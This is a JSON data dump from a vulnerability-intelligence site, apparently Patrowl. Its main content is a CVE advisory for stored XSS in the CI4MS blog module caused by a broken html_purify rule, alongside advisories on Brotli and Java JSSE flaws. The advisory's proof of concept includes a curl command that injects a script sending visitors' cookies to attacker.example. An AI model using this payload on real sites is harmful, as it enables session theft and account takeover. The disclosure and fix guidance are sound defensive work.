[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"landing-trending":3,"cve-CVE-2026-45138":30,"landing-articles":81},{"count":4,"next":5,"previous":6,"results":7},266,"http:\u002F\u002Fweb:8606\u002Fapi\u002Ftrending_attacks\u002F?page=2&page_size=3&sorted_by=-published_at",null,[8,17,20],{"id":9,"title":10,"summary":11,"published_at":12,"severity":13,"vendor":14,"products":15},265,"Google Brotli decoder - Remote Code Execution via compressed requests (Exploitation Check)","This control is the second step of the Patrowl response to CVE-2026-111497 (Node2Shell). It complements the first control of 22 October 2026, which focused on the Node.js runtime, and does not replace it.\r\n\r\nWhy a second control\r\n\r\nCVE-2026-111497 is an out-of-bounds write in the Google Brotli decoder, the library that decompresses Brotli (\"br\") data. It was first published as a Node.js vulnerability, because Node.js bundles this decoder. Later publications showed that the flaw is in the library itself. Every product that embeds an affected version of the decoder is concerned, whatever its language or vendor. A public proof of concept demonstrates code execution.\r\n\r\nAny server that decompresses request bodies sent with \"Content-Encoding: br\" exposes the decoder to unauthenticated attackers. Known cases include Express 5 and NestJS 11 on Node.js, Koa and Fastify setups, Bun, Envoy and Istio with request decompression enabled, and any application or reverse proxy that decodes Brotli request bodies with an affected library.\r\n\r\nThe flaw also works in the other direction. A malicious server can compromise an unpatched client that decodes a Brotli response, for example Node.js fetch(), Python clients (requests, httpx, aiohttp, Scrapy) with the Brotli or brotlicffi package, or libcurl builds with Brotli support.\r\n\r\nWhat this control checks\r\n\r\nPatrowl sends small, valid Brotli-compressed requests to each asset and observes whether the server decodes them. The check does not depend on the technology: it detects the behaviour, whatever the stack behind it. These requests are what any legitimate client could send. They never reach the vulnerable code path and cannot affect the availability of the service.\r\n\r\nHow to read the result\r\n\r\nPotentially impacted means the asset decodes Brotli request bodies: the attack surface is exposed. It does not confirm that the asset is vulnerable. The version of the Brotli decoder in use is not visible from the outside.\r\n\r\nThis check covers applications that parse request bodies on their root path. A Not impacted result does not rule out exposure on other routes, nor on the client side. Checking the versions on the servers remains the only exhaustive verification.\r\n\r\nAffected and fixed versions\r\n\r\nGoogle Brotli 1.0.3 to 1.2.0 are affected, fixed in 1.0.10, 1.1.1 and 1.2.1. Fixed releases of the main products embedding it: Node.js 22.23.4, 24.22.1 and 26.12.1 (end-of-life lines 20.x and older and 25.x receive no fix), Bun 1.4.4, Envoy 1.37.8, 1.38.6, 1.39.3 and 1.40.0, Istio 1.29.9, 1.30.6 and 1.31.2, Python Brotli 1.2.1 and brotlicffi 1.2.1.0. Products that link against the system library depend on the Brotli package of the Linux distribution.\r\n\r\nRecommendations\r\n\r\nUpdate every component that embeds the Brotli decoder (only real fix). Start with the assets flagged by this control. Restart the processes after the update. Rebuild containers, single-executable applications and appliances that bundle an affected runtime or library.\r\n\r\nReduce the exposure until the update is deployed. Reject requests with \"Content-Encoding: br\" at the reverse proxy, load balancer or WAF, case-insensitively and including lists such as \"gzip, br\". On Envoy and Istio, disable request decompression for Brotli.\r\n\r\nReview outbound calls. List the features that fetch content from servers you do not control, and patch the services that host them first.","2026-10-24T10:37:22.192753Z",4,"google",[16],"brotli",{"id":4,"title":10,"summary":18,"published_at":12,"severity":13,"vendor":14,"products":19},"This control is the second step of the Patrowl response to CVE-2026-111497 (Node2Shell). It complements the first control of 22 October 2026, which focused on the Node.js runtime, and does not replace it.\r\n\r\nWhy a second control\r\n\r\nCVE-2026-111497 is an out-of-bounds write in the Google Brotli decoder, the library that decompresses Brotli (\"br\") data. It was first published as a Node.js vulnerability, because Node.js bundles this decoder. Later publications showed that the flaw is in the library itself. Every product that embeds an affected version of the decoder is concerned, whatever its language or vendor. A public proof of concept demonstrates code execution.\r\n\r\nAny server that decompresses request bodies sent with \"Content-Encoding: br\" exposes the decoder to unauthenticated attackers. Known cases include Express 5 and NestJS 11 on Node.js, Koa and Fastify setups, Bun, Envoy and Istio with request decompression enabled, and any application or reverse proxy that decodes Brotli request bodies with an affected library.\r\n\r\nThe flaw also works in the other direction. A malicious server can compromise an unpatched client that decodes a Brotli response, for example Node.js fetch(), Python clients (requests, httpx, aiohttp, Scrapy) with the Brotli or brotlicffi package, or libcurl builds with Brotli support.\r\n\r\nWhat this control checks\r\n\r\nPatrowl sends small, valid Brotli-compressed requests to each asset and observes whether the server decodes them. The check does not depend on the technology: it detects the behaviour, whatever the stack behind it. These requests are what any legitimate client could send. They never reach the vulnerable code path and cannot affect the availability of the service.\r\n\r\nHow to read the result\r\n\r\nPotentially impacted means the asset decodes Brotli request bodies: the attack surface is exposed. It does not confirm that the asset is vulnerable. The version of the Brotli decoder in use is not visible from the outside.\r\n\r\nThis check covers applications that parse request bodies on their root path. A Not impacted result does not rule out exposure on other routes, nor on the client side. Checking the versions on the servers remains the only exhaustive verification.\r\n\r\nTwo situations are possible. When the decoding is done by your own application or reverse proxy, identify the component and update it. If an update is not possible right away, reject requests with \"Content-Encoding: br\" at the reverse proxy or WAF.\r\n\r\nWhen the asset is hosted on a managed platform or behind a CDN (for example Platform.sh, Upsun or Fastly), the decoding may be done by the provider's edge router, in front of your application. You cannot patch it yourself, but this router handles all the traffic of your site. Ask your provider to confirm that its edge components are patched against CVE-2026-111497. Assets hosted on a managed platform or behind a CDN carry the tag \"paas: platform.sh\" or \"cdn: fastly\" in the asset view: for these assets, the Brotli decoding is done by the provider's edge router, in front of your application, and only the provider can patch it.\r\n\r\nAffected and fixed versions\r\n\r\nGoogle Brotli 1.0.3 to 1.2.0 are affected, fixed in 1.0.10, 1.1.1 and 1.2.1. Fixed releases of the main products embedding it: Node.js 22.23.4, 24.22.1 and 26.12.1 (end-of-life lines 20.x and older and 25.x receive no fix), Bun 1.4.4, Envoy 1.37.8, 1.38.6, 1.39.3 and 1.40.0, Istio 1.29.9, 1.30.6 and 1.31.2, Python Brotli 1.2.1 and brotlicffi 1.2.1.0. Products that link against the system library depend on the Brotli package of the Linux distribution.\r\n\r\nRecommendations\r\n\r\nUpdate every component that embeds the Brotli decoder (only real fix). Start with the assets flagged by this control. Restart the processes after the update. Rebuild containers, single-executable applications and appliances that bundle an affected runtime or library.\r\n\r\nReduce the exposure until the update is deployed. Reject requests with \"Content-Encoding: br\" at the reverse proxy, load balancer or WAF, case-insensitively and including lists such as \"gzip, br\". On Envoy and Istio, disable request decompression for Brotli.\r\n\r\nContact your edge provider about the status of the pathing (Fastly \u002F Plateform.sh)\r\n\r\nReview outbound calls. List the features that fetch content from servers you do not control, and patch the services that host them first.",[16],{"id":21,"title":22,"summary":23,"published_at":24,"severity":13,"vendor":25,"products":26},263,"Oracle Java SE JSSE - Improper Access Control & Unauthorized Data Access & Unauthorized Data Modification","Oracle Java SE is the Java runtime and development platform. Its JSSE (Java Secure Socket Extension) component provides TLS\u002FSSL for secure network communication. Oracle GraalVM is a JDK distribution based on the same platform.\r\n\r\nCVE-2026-91403\r\n\r\nA vulnerability in the JSSE component of Oracle Java SE, Oracle GraalVM for JDK and Oracle GraalVM Enterprise Edition can be exploited by an unauthenticated attacker with network access over multiple protocols. A successful attack can give unauthorized access to critical data and allow unauthorized creation, deletion or modification of data. It can also affect sandboxed Java Web Start applications and applets that run untrusted code. The record lists the weakness as CWE-284 (Improper Access Control) in the CISA ADP entry, while another database lists CWE-295. The record lists these affected versions:\r\n- Oracle Java SE: 8u511, 8u511-perf, 11.0.33, 17.0.21, 21.0.13, 25.0.5, 27.0.1.\r\n- Oracle GraalVM for JDK: 17.0.21, 21.0.13.\r\n- Oracle GraalVM Enterprise Edition: 21.3.20.\r\n\r\nOracle published an out-of-cycle Security Alert on October 21, 2026. One secondary source says the fix makes Java distrust eight compromised intermediate CA certificates shipped with the JDK. The Oracle-focused sources do not confirm this root cause, so check it against the Oracle advisory. CISA ADP SSVC data shows Exploitation: none, Automatable: yes, Technical Impact: total. The CVE is not in the CISA KEV catalog as of October 22, 2026, and its EPSS score is below 1%.","2026-10-23T14:12:32.871954Z","Oracle",[27,28,29],"Oracle Java SE","Oracle GraalVM Enterprise Edition","Oracle GraalVM for JDK",{"id":31,"cve_id":32,"euvd_id":33,"summary":34,"published":35,"cvss_data":36,"is_remote":47,"cwes":48,"cpes":50,"technologies":53,"references":55,"score":59,"epss_score":60,"epss_percentile":61,"is_kev":62,"cisa_kev_date_added":6,"cisa_kev_due_date":6,"cisa_ssvc":63,"attack_mappings":73,"exploits":80},358819,"CVE-2026-45138","EUVD-2026-45875","CI4MS: Stored XSS in Blog Content via Broken `html_purify` Validation Rule\n\n## Summary\n\nThe custom `html_purify` validation rule used to sanitize blog post bodies relies on by-reference mutation (`?string &$str`), but CodeIgniter 4's validator passes a local copy of the value, so the sanitized text is silently discarded. The Blog controller writes `$lanData['content']` directly into `blog_langs.content`, and the public template echoes it without escaping — yielding stored XSS executable in any visitor's browser, including the superadmin when previewing or editing posts.\n\n## Details\n\n### Root cause: by-reference mutation never propagates\n\n`Modules\\Backend\\Validation\\CustomRules::html_purify` declares its first argument by reference:\n\n```php\n\u002F\u002F modules\u002FBackend\u002FValidation\u002FCustomRules.php:54-73\npublic function html_purify(?string &$str = null, ?string &$error = null): bool\n{\n    if (empty(trim((string)$str))) return true;\n    if (!class_exists('\\HTMLPurifier')) { $error = lang('Backend.htmlPurifierNotFound'); return false; }\n    $clean = self::sanitizeHtml($str);\n    $str   = $clean;                                  \u002F\u002F \u003C-- mutates only the local $value in CI4's validator\n    self::$cleanCache[md5((string)$str)] = $clean;    \u002F\u002F \u003C-- key is md5(CLEAN), getClean() looks up md5(ORIGINAL)\n    return true;\n}\n```\n\nCI4's validator invokes the rule via a local variable `$value` it created from a copy of `$this->data`:\n\n```php\n\u002F\u002F vendor\u002Fcodeigniter4\u002Fframework\u002Fsystem\u002FValidation\u002FValidation.php:204-211\nforeach ($values as $dotField => $value) {                       \u002F\u002F local $value\n    $this->processRules($dotField, $setup['label'] ?? $field, $value, $rules, $data, $field);\n}\n\n\u002F\u002F Validation.php:343-345\n$passed = ($param === null)\n    ? $set->{$rule}($value, $error)                              \u002F\u002F \u003C-- $value is the local var\n    : $set->{$rule}($value, $param, $data, $error, $field);\n```\n\nThe reference mutation modifies that local `$value` only; `$this->data`, `$_POST`, and `getValidated()` keep the raw payload. The optional `getClean($original)` cache lookup in CustomRules.php:85-93 also fails because the cache was keyed on `md5(clean)` rather than `md5(original)`.\n\n### Sink: raw POST is persisted and rendered unescaped\n\nThe Blog controller takes `$_POST['lang']` verbatim, runs it through validation (which always returns true for `html_purify`), and writes it to the database with no further filtering:\n\n```php\n\u002F\u002F modules\u002FBlog\u002FControllers\u002FBlog.php:94-125  (Blog::new)\n$langsPost = $this->request->getPost('lang');                            \u002F\u002F raw, unsanitized\n...\nif ($this->validate($valData) == false) return redirect()->...;           \u002F\u002F html_purify returns true\n...\nforeach ($langsPost as $lanCode => $lanData) {\n    $this->commonModel->create('blog_langs', [\n        'blog_id' => $insertID,\n        'lang'    => $lanCode,\n        'title'   => trim(strip_tags($lanData['title'])),\n        'seflink' => trim(strip_tags($lanData['seflink'])),\n        'content' => $lanData['content'],                                  \u002F\u002F \u003C-- raw HTML stored\n        ...\n    ]);\n}\n```\n\nThe same pattern is used in `Blog::edit` at `modules\u002FBlog\u002FControllers\u002FBlog.php:178` and `:201`.\n\nThe public blog post template echoes the field with no escaping:\n\n```php\n\u002F\u002F app\u002FViews\u002Ftemplates\u002Fdefault\u002Fblog\u002Fpost.php:51\n\u003Csection class=\"mb-5\" id=\"ci4ms-content\">\n    \u003C?php echo $infos->content ?>\n\u003C\u002Fsection>\n```\n\nThe view is reached through `App\\Controllers\\Home::post*` (Home.php:238), which is an unauthenticated public route.\n\n### Trust boundary\n\nBackend routes (`modules\u002FBlog\u002FConfig\u002FRoutes.php`) are protected by `backendGuard` + Shield role checks, requiring `blogs.create` \u002F `blogs.update`. These are delegated content-editor roles, not equivalent to superadmin: an editor cannot install plugins, run SQL, or access the file editor. Stored XSS therefore lets a low-privilege editor escalate by hijacking a superadmin session when the admin previews or edits the post (frontend `\u002Fblog\u002F\u003Cslug>` is the executing surface; admin browsers visit it routinely). Independent of admin escalation, every public visitor that loads the post executes the attacker's JavaScript.\n\n### Same defect in the Pages module\n\nA previous Stored XSS in the Pages module was \"fixed\" by introducing the very `html_purify` rule that this advisory shows is non-functional. Pages controllers (`Pages::create`, `Pages::update`) follow the same pattern and remain exploitable.\n\n## PoC\n\nPrerequisite: any account holding the backend `blogs.create` role (or `blogs.update` for the edit variant). Cookies obtained via the standard backend login flow.\n\n1. Submit a blog post with an XSS payload as the content body:\n\n```bash\ncurl -k -b cookies.txt -X POST https:\u002F\u002Ftarget\u002Fbackend\u002Fblogs\u002Fcreate \\\n  -d 'lang[en][title]=POC' \\\n  -d 'lang[en][seflink]=poc-xss' \\\n  -d \"lang[en][content]=\u003Cscript>fetch('https:\u002F\u002Fattacker.example\u002F?c='+encodeURIComponent(document.cookie))\u003C\u002Fscript>\" \\\n  -d 'isActive=1' \\\n  -d 'categories[]=1' \\\n  -d 'author=1' \\\n  -d 'created_at=01.01.2026 10:00:00' \\\n  -d 'csrf_token_name=\u003Ctoken>'\n```\n\n2. The validator returns success (`html_purify` reports `true`), and the row is written to `blog_langs` with `content` = `\u003Cscript>...\u003C\u002Fscript>` verbatim.\n\n3. Visit the public post URL `https:\u002F\u002Ftarget\u002Fblog\u002Fpoc-xss`. The injected `\u003Cscript>` runs in every visitor's browser and exfiltrates their cookies. When a superadmin opens the post (e.g., from the backend list to review it), the script executes with the admin's session.\n\nIndependent root-cause verification (run against the local app):\n\n```bash\n$ php \u002Ftmp\u002Ftest_blog_flow.php\nValidation passed: true\nStored content for en: \u003Cscript>alert(\"STORED-XSS-PROOF-\"+document.domain)\u003C\u002Fscript>\n```\n\nThat is, when the same payload is fed to the real CI4 validator with the project's rule set, `getValidated()['lang']['en']['content']` returns the unmodified `\u003Cscript>...\u003C\u002Fscript>`, confirming the by-reference sanitization is dropped.\n\n## Impact\n\n- **Stored XSS reachable by any account with `blogs.create` or `blogs.update`** (delegated content-editor permission), executed in the browser of:\n  - every anonymous public visitor that loads the affected blog post,\n  - the superadmin and other backend reviewers when they open or preview the post.\n- Direct consequences include theft of session cookies \u002F CSRF tokens, account takeover via authenticated requests on behalf of the victim, content tampering, drive-by malware, and phishing of site visitors.\n- Because the same broken `html_purify` rule was the previous fix for the Pages Stored XSS, the Pages module is also still exploitable through `Pages::create` \u002F `Pages::update` via the same primitive — i.e., this is a project-wide regression of an already-published advisory.\n- The `getClean()` cache fallback intended as a backstop is also non-functional (key mismatch between `md5(clean)` writer and `md5(original)` reader).\n\n## Recommended Fix\n\n1. Stop relying on by-reference mutation inside the validation rule. Either (a) sanitize *at the sink* in every controller that accepts WYSIWYG HTML, or (b) sanitize after `validate()` and before persisting.\n\n   Minimal, immediate fix in the Blog controller — apply to both `new` and `edit`:\n\n   ```php\n   \u002F\u002F modules\u002FBlog\u002FControllers\u002FBlog.php  (Blog::new, ~line 123 and Blog::edit, ~line 201)\n   use Modules\\Backend\\Validation\\CustomRules;\n   ...\n   $this->commonModel->create('blog_langs', [\n       'blog_id' => $insertID,\n       'lang'    => $lanCode,\n       'title'   => trim(strip_tags($lanData['title'])),\n       'seflink' => trim(strip_tags($lanData['seflink'])),\n       'content' => CustomRules::sanitizeHtml((string)($lanData['content'] ?? '')),\n       'seo'     => !empty($seoData) ? $seoData : '',\n   ]);\n   ```\n\n   Apply the identical change to `modules\u002FPages\u002FControllers\u002FPages.php` (the previous Pages Stored XSS fix relied on `html_purify` and is therefore still vulnerable).\n\n2. Fix the cache key bug so `getClean()` actually works as a defense-in-depth backstop:\n\n   ```php\n   \u002F\u002F modules\u002FBackend\u002FValidation\u002FCustomRules.php\n   public function html_purify(?string &$str = null, ?string &$error = null): bool\n   {\n       if (empty(trim((string)$str))) return true;\n       if (!class_exists('\\HTMLPurifier')) { $error = lang('Backend.htmlPurifierNotFound'); return false; }\n       $original = (string)$str;\n       $clean    = self::sanitizeHtml($original);\n       self::$cleanCache[md5($original)] = $clean;   \u002F\u002F key on ORIGINAL, before reassignment\n       $str = $clean;                                \u002F\u002F best-effort; CI4 will drop this\n       return true;\n   }\n   ```\n\n3. Document explicitly in `CustomRules` that `html_purify` is *not* a sanitizer — it returns `true` unconditionally on any HTMLPurifier-installed environment — and that callers MUST use `CustomRules::sanitizeHtml(...)` (or `CustomRules::getClean($original)` after the cache fix) on `$_POST` data before storage.\n\n4. Defense in depth: escape `$infos->content` at output where feasible (e.g., `app\u002FViews\u002Ftemplates\u002Fdefault\u002Fblog\u002Fpost.php:51`), or pipe the stored value through `CustomRules::sanitizeHtml()` on read for templates that are expected to render rich HTML — guaranteeing safety even if a future caller forgets the sanitizer.","2026-05-18T15:39:00Z",{"cvss_v3.1":37},{"scope":38,"version":39,"baseScore":40,"attackVector":41,"baseSeverity":42,"vectorString":43,"integrityImpact":44,"userInteraction":45,"attackComplexity":44,"availabilityImpact":46,"privilegesRequired":44,"confidentialityImpact":44},"CHANGED","3.1",5.4,"NETWORK","MEDIUM","CVSS:3.1\u002FAV:N\u002FAC:L\u002FPR:L\u002FUI:R\u002FS:C\u002FC:L\u002FI:L\u002FA:N","LOW","REQUIRED","NONE",true,[49],"CWE-79",[51,52],"cpe:2.3:a:ci4-cms-erp:ci4ms:0.31.8.0:*:*:*:*:*:*:*","cpe:2.3:a:ci4-cms-erp:ci4ms:*:*:*:*:*:*:*:*",[54],"Ci4-Cms-Erp Ci4Ms",[56,57,58],"https:\u002F\u002Fgithub.com\u002Fci4-cms-erp\u002Fci4ms\u002Fsecurity\u002Fadvisories\u002FGHSA-2m69-jmvh-6chr","https:\u002F\u002Fgithub.com\u002Fci4-cms-erp\u002Fci4ms","https:\u002F\u002Fgithub.com\u002Fci4-cms-erp\u002Fci4ms\u002Freleases\u002Ftag\u002F0.31.9.0",0.47,0.00175,0.0693,false,{"timestamp":64,"automatable":65,"tech_impact":66,"exploitation":67,"cisa_decision":68,"cisa_remediation_timeline":72},"2026-07-20T13:18:37.167276Z","no","partial","poc",{"vector":69,"decision":70,"priority":71},"CISAv1\u002FE:P\u002FA:N\u002FT:P\u002FM:H\u002F2026-10-26T07:02:28.794296\u002F","track_star","medium","60D",[74],{"name":75,"source":76,"tactics":77,"technique_id":79},"Exploit Public-Facing Application","attack_vector",[78],"initial-access","T1190",[],{"count":82,"next":83,"previous":6,"results":84},26,"http:\u002F\u002Fweb:8606\u002Fapi\u002Farticles\u002F?page=2&page_size=3&sorted_by=-published_at",[85,93,101],{"id":86,"title":87,"summary":88,"published_at":89,"type":90,"link":91,"image_url":92},30,"PHP2Shell: Two Critical RCE Flaws in PHP (CVSS 9.2)","Unauthenticated code execution demonstrated on WordPress, Drupal and Joomla, and reproduced in our lab. Patched versions and steps to take today.","2026-10-22T00:00:00Z","cve","https:\u002F\u002Fpatrowl.io\u002Fen\u002Fblog\u002Fphp2shell-2-critical-rce-flaws-php-cvss-9-2","https:\u002F\u002Fpatrowl.io\u002Fmedia\u002Fsite\u002Fc0615c4ee6-1792684469\u002Fphp2shell-2-critical-rce-flaws-php-cvss-9-2.png",{"id":94,"title":95,"summary":96,"published_at":97,"type":98,"link":99,"image_url":100},29,"Manage External Security Across All Your Entities","Centralize the management of entities, users and external security resources while maintaining strict data isolation with Patrowl.","2026-09-15T00:00:00Z","security tips","https:\u002F\u002Fpatrowl.io\u002Fen\u002Fblog\u002Fmulti-entity-external-security-how-structure-governance-group-level","https:\u002F\u002Fpatrowl.io\u002Fmedia\u002Fsite\u002F8b2c0cc5eb-1789551467\u002Fvisu_1_multi_tenancy_dark_1x.webp",{"id":102,"title":103,"summary":104,"published_at":105,"type":106,"link":107,"image_url":108},28,"Will AI Become the Next Hacker? Bruce Schneier Answers at DEF CON 34","Tax law, finance, legislation: Bruce Schneier shows how AI could hack human rule systems just as easily as it hacks software.","2026-09-14T00:00:00Z","hacks","https:\u002F\u002Fpatrowl.io\u002Fen\u002Fblog\u002Fbruce-schneier-def-con-34","https:\u002F\u002Fpatrowl.io\u002Fmedia\u002Fsite\u002F5c616d9db4-1789462598\u002Fai-hacker.en.png"]